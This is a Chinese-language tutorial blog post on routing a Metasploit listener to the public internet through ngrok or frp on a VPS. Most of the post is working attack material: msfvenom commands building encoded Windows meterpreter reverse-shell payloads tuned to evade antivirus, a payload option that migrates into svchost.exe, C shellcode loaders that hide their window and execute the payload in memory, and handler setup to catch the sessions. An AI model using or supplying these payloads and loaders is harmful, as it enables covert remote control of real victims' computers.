MSF映射到公網的常見方法

0x01、前言
在***測試的環節中,MSF可以說是老生常談的必會工具之一,有的時候內網的MSF並不能滿足我們的使用需求,此時我們需要藉助一些方法來進行端口轉發,這裏簡單的介紹下如何將內網中的MSF轉發到公網。

0x02、常見的兩種轉發方式
方法①:使用Ngrok內網映射

首先我們需要有一個Ngrok官網的賬戶,官網地址:https://ngrok.com/,註冊好後,首先下載一個Ngrok軟件,下載地址:https://ngrok.com/download

下載完成後,將軟件複製到kali,解壓後執行下圖中的命令(ngrok官網會分配你個key)

ngrok

ngrok-kali

接下來就很簡單了,如果想將本地的http服務轉發到公網,那麼可以執行下列命令,然後會將http服務轉發到公網的ngrok域名上

./ngrok http 80
ngrok1

www

ok,試完了http,我們來將tcp轉發

./ngrok tcp 8888
tcp

接下來,我們使用msf生成一個***測試下

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=***機IP LPORT=***機端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 15 -f exe -o payload.exe
這裏簡單說下***的參數:

-p 選擇指定payload

–e 選擇制定編碼器(不同編碼器免殺效果也有不同,部分編碼器應對火絨等殺軟效果顯著)

-i 編碼次數

-b 去處多餘/壞字符,lhost是你申請的ngrok服務器地址 lport是自定義的遠程端口

-f 生成指定格式

-a 選擇架構平臺,包括x86 | x64 | x86_64

–platform 選擇系統類型

當然也可以生成c的shellcode

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=***機IP LPORT=***機端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 15 -f c
shellcode

使用VC++6.0對下面的代碼進行編譯

#include <stdio.h>

#pragmacomment( linker, “/subsystem:”windows” /entry:”mainCRTStartup”")//運行時不顯示窗口

unsignedchar buf[] =

“buf數組”;//將複製的數組粘貼到此處

main()

{
((void(*)(void))&buf)();

}
迴歸正題,使用msf監聽模塊監聽

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 127.0.0.1

set lport 8888

exploit
meterpreter獲取會話

msf

方法②:使用frp+vps內網映射

首先需要去gihub下載frp :https://github.com/fatedier/frp/releases 這裏我下載的linux 64的版本(因爲服務器是linux),下載後分別放到本地kali和服務器上,解壓後,然後分別去配置:

服務端配置frps.ini文件:

bind_addr = 0.0.0.0 //填0.0.0.0即可意爲本機ip
bind_port = 6531 //frp連接端口
dashboard_addr = 0.0.0.0 //填0.0.0.0即可意爲本機ip
dashboard_port = 7500 //網頁訪問端口
dashboard_user = admin //用戶名
dashboard_pwd = crlf //密碼
token = crlf //frp連接口令
配置完成後,啓動服務端






方法一:./frps - c frps.ini //前臺啓動,可以看到詳細的監聽xinxi
方法二:nohup ./frps -c frps.ini > log.txt & //後臺啓動
frp

啓動成功後可以通過網頁端訪問來查看

web

接下來配置客戶端kali的frpc.ini

[common]
server_addr = 66.23.x.x //vps的ip
server_port = 6531 //連接frp的端口
token = crlf //連接frp口令
[msf]
type = tcp //tcp協議
local_ip = 127.0.0.1 //填127.0.0.1即可
local_port = 6759 //轉發到vps的點端口
remote_port = 6000 //訪問端口
運行 ./frpc -c frpc.ini








frp_c

ok,接下來使用上面的msfvenom 生成測試***

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=***機IP LPORT=***機端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 15 -f exe -o payload.exe
也可以使用shellcode

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST=遠程服務端ip
LPORT=遠程服務端端口 -e x86/shikata_ga_nai -i 15 -b 'x00' PrependMigrate=true PrependMigrateProc=svchost.exe -f c > shellcode.c
PrependMigrate=true、PrependMigrateProc=svchost.exe 使***程序會遷移到svchost.exe進程

也可以使用windows/meterpreter/reverse_tcp_rc4這個payload,進行會話加密,增加免殺能力

使用vc++6.0創建32位的項目並編譯

#include<stdio.h>
#include<windows.h>
#pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"") //去除窗口
unsigned char shellcode[]=
"這裏放生成的shellcode"
void main()
{
LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, shellcode, sizeof(shellcode));
((void(*)())Memory)();
}
最後啓動msf,等待上線










use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.1
set lport 6759 // 本機轉發端口


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章